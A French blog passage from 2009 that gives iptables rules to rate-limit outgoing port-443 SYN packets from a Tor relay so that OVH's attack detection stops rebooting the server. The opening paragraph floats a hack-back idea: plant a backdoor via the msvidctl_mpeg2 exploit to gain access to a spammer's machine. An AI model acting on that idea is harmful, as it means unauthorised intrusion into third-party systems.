Pour ma part, une idée d’utilisation relèverait plus du honeypot, dans le cas de figure de l’un de mes articles précédent, lorsqu’un spammeur prend le contrôle d’un serveur et y pose des scripts dans le but d’automatiser son « boulot », il accède à des urls directement, sans trop faire gaffe (ce qui était le cas dans l’attaque en question). On pourrait donc remplacer son script par une backdoor (en utilisant un exploit correspondant au faible informations chopées dans les logs) et récupérer un accès sur sa machine (ou tout du moins l’avertir qu’il n’est plus le bienvenue sur notre serveur via son antivirus qui ralerait suite au chargement de la payload, quoique dans le cas du msvidctl_mpeg2 le chargement de l’activX en ferait tilter plus d’un ;) ).

Contourner les restrictions de connexions sur un serveur OVH

12 juillet 2009

Plop à tous …

Bé voilà, je pense que d’autres hébergeurs de service tor chez OVH ont rencontrés ce problème : lorsque l’on se connecte à trop de serveurs en même temps (genre une dizaine de connexions à des ip différentes sur un même port, genre le 443 qui est pas mal utilisé par les relais en Allemagne), les services d’OVH détecte une attaque et redémarre le serveur en mode rescue … (ce qui m’est arrivé 3 fois cette semaines, alors que mon serveur tor ne fait que dans les 1,4mo/s de traffics dédiés à tor), rendant le serveur inaccessible, et le redémarrage depuis l’interface d’OVH fonctionnant une fois sur trois, on se retrouve avec un serveur down une journée entière.

Après avoir contacté le service technique, on m’a gentillement fait comprendre que je ne pouvais pas faire augmenter cette limite, et qu’il fallait plutôt revoir la configuration de mon serveur … donc voilà, j’ai trouvé une technique plutôt bourrin (un drop de la connexion c’est super moche pour un relai tor), mais qui semble fonctionner pas trop mal :

  1. /sbin/iptables -N ovh_sux
  2. /sbin/iptables -A OUTPUT -p tcp –syn –dport 443 -j ovh_sux
  3. /sbin/iptables -A ovh_sux -m limit –limit 5/hour -j LOG –log-prefix OVH-SUX
  4. /sbin/iptables -A ovh_sux -m limit –limit 7/minute -p tcp –syn –dport 443 -j ACCEPT
  5. /sbin/iptables -A ovh_sux -p tcp –syn –dport 443 -j DROP

Et voilà, comme ça on log dès qu’on dépasse la limite de « kick » d’ovh, on drop dès que l’on a eu plus de 7 flags tcp syn sur des machines distantes sur le port 443.
(Noté l’amour que j’ai pour OVH … vivement que des concurents vendent du dédié à 10€ ^^).

Edit : La configuration plus haut ne fonctionne pas … à cause du limit-burst qui est de 5 par défaut on dépasse donc rapidement la limite comme OVH reboot la machine à 10 … owned ^^
Donc j’ai revu la règle du firewall, ce qui donne ceci pour faire plus propre … :

  1. /sbin/iptables -N log_drop
  2. /sbin/iptables -A log_drop -m limit –limit 1/hour –limit-burst 1 -j LOG –log-prefix OVH-SUX
  3. /sbin/iptables -A log_drop -j DROP
  4.  
  5. /sbin/iptables -N ovh_sux
  6. /sbin/iptables -A OUTPUT -p tcp –syn –dport 443 -j ovh_sux
  7. /sbin/iptables -A ovh_sux -m limit –limit 7/minute –limit-burst 1 -j ACCEPT
  8. /sbin/iptables -A ovh_sux -j log_drop
  9. /sbin/iptables -N ovh_sux_sec
  10. /sbin/iptables -A OUTPUT -p tcp –syn –dport 443 -j ovh_sux_sec
  11. /sbin/iptables -A ovh_sux_sec -m limit –limit 1/second –limit-burst 1 -j ACCEPT
  12. /sbin/iptables -A ovh_sux_sec -j DROP

Ici, je laisse passer 7 ou 8 paquets (avec le burst) TCP SYN puis je commence à drop et j’écris un paquet bloqué dans les logs par heure comme ça je me spam pas trop, et en plus je drop dès que l’on envois plus de deux paquets syn par seconde.
Faudrait quand même que OVH revoit son système de détection d’attaque …

Sinon, j’ai remarqué que le fait de logger les paquets permettait de les choper dans l’IDS (prelude a une règle par défaut), et donc d’avoir une petite idée du nombre de paquet qui rentraient dans la règle du firewall.